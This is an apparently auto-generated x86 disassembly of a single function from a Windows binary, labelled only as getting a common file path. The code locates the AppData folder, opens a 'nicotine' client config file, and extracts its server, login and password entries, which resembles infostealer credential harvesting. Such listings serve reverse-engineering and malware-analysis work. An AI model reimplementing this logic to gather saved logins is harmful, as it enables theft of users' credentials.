Function at 0x43c404
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x65a8
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xfab]
push edi
mov ebx, 0x3e7
mov byte [ebp - 0xfac], 0
push ebx
mov edi, ecx
push 0
push eax
mov dword [ebp - 0x65a4], edi
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1394], 0
lea eax, [ebp - 0x1393]
push ebx
xor ebx, ebx
push ebx
push eax
call fcn.006390b0
add esp, 0xc
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x43c4a9
lea eax, [ebp - 0xfac]
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x43c49c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._s_nicotineconfigconfig
lea esi, [ebp - 0xfac]
jmp 0x43c4ae
mov eax, str._sconfigconfig
push esi
push eax
mov esi, 0x3e8
lea eax, [ebp - 0x1394]
push esi
push eax
call fcn.00402e0a
push 0x6c63d0
lea eax, [ebp - 0x1394]
mov dword [ebp - 0x65a0], ebx
push eax
lea eax, [ebp - 0x65a0]
push eax
call fcn.00649a00
add esp, 0x1c
test eax, eax
jne 0x43c489
cmp dword [ebp - 0x65a0], ebx
je 0x43c489
mov byte [ebp - 0x7dc], al
mov byte [ebp - 0xbc4], al
mov byte [ebp - 0x3f4], al
jmp 0x43c7d9
lea eax, [ebp - 0x3e8c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43c538
lea eax, [ebp - 0x3e8c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x43c84f
mov byte [ebp + eax - 0x3e8c], 0
lea ecx, [ebp - 0x3e8c]
call fcn.004047e7
test ebx, ebx
je 0x43c5b6
lea eax, [ebp - 0x3e8c]
push eax
call fcn.00643470
mov edi, eax
pop ecx
cmp edi, 0xc350
ja 0x43c5b0
mov cl, byte [ebp - 0x3e8c]
xor eax, eax
test cl, cl
je 0x43c591
lea esi, [ebp - 0x3e8c]
cmp cl, 0x20
je 0x43c57c
mov byte [eax + 0x71d0d0], cl
inc eax
inc esi
mov edx, eax
mov cl, byte [esi]
test cl, cl
jne 0x43c570
cmp edx, 0xc35a
jae 0x43c84f
mov byte [eax + 0x71d0d0], 0
lea eax, [edi + 1]
push 0x71d0d0
push eax
lea eax, [ebp - 0x3e8c]
push eax
call fcn.006494f3
add esp, 0xc
mov edi, dword [ebp - 0x65a4]
lea eax, [ebp - 0x3e8c]
push eax
lea eax, [ebp - 0x659c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x659c]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x659c]
push eax
call fcn.0064ffd4
push str._server_
call fcn.00643470
add esp, 0xc
push eax
lea eax, [ebp - 0x659c]
push str._server_
push eax
call fcn.00650030
add esp, 0xc
test eax, eax
jne 0x43c66e
lea eax, [ebp - 0x7dc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43c652
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x7dc]
mov ecx, edi
push eax
lea eax, [ebp - 0xbc4]
push eax
lea eax, [ebp - 0x177c]
push eax
push 0x6c5bb9
push 0x15f
push 4
call fcn.0043ee6b
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x7dc], al
inc ebx
mov byte [ebp - 0xbc4], al
mov byte [ebp - 0x177c], al
jmp 0x43c7d9
cmp byte [ebp - 0x659c], 0x5b
jne 0x43c67e
xor ebx, ebx
jmp 0x43c7d9
test ebx, ebx
je 0x43c7d9
lea eax, [ebp - 0x659c]
push str.server
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43c750
push str.server
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x659c]
sub esi, ecx
lea ecx, [ebp - 0x3e8c]
add ecx, esi
mov esi, 0x3e8
add ecx, eax
lea eax, [ebp - 0x3f4]
push ecx
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x3f4]
call fcn.004046b4
lea eax, [ebp - 0x3f4]
push 0x2c
push eax
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x43c6f8
mov byte [eax], 0x3a
lea eax, [ebp - 0x3f4]
push eax
call fcn.00643470
pop ecx
cmp byte [ebp + eax - 0x3f5], 0x29
jne 0x43c72d
lea eax, [ebp - 0x3f4]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, esi
jae 0x43c84f
mov byte [ebp + eax - 0x3f4], 0
cmp byte [ebp - 0x3f4], 0x28
lea eax, [ebp - 0x3f3]
lea ecx, [ebp - 0x3f4]
cmovne eax, ecx
push eax
push esi
lea eax, [ebp - 0x177c]
jmp 0x43c7d0
lea eax, [ebp - 0x659c]
push str.login
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43c78e
push str.login
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x659c]
sub esi, ecx
lea ecx, [ebp - 0x3e8c]
add ecx, esi
add ecx, eax
lea eax, [ebp - 0xbc4]
jmp 0x43c7ca
lea eax, [ebp - 0x659c]
push str.passw
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43c7d9
push str.passw
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x659c]
sub esi, ecx
lea ecx, [ebp - 0x3e8c]
add ecx, esi
add ecx, eax
lea eax, [ebp - 0x7dc]
push ecx
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
push dword [ebp - 0x65a0]
lea eax, [ebp - 0x3e8c]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x43c506
lea eax, [ebp - 0x7dc]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x43c83b
push 0xffffffffffffffff
push 0x6c5bb9
lea eax, [ebp - 0x7dc]
mov ecx, edi
push eax
lea eax, [ebp - 0xbc4]
push eax
lea eax, [ebp - 0x177c]
push eax
push 0x6c5bb9
push 0x15f
push 4
call fcn.0043ee6b
push dword [ebp - 0x65a0]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x43c48b
call fcn.00612782
int3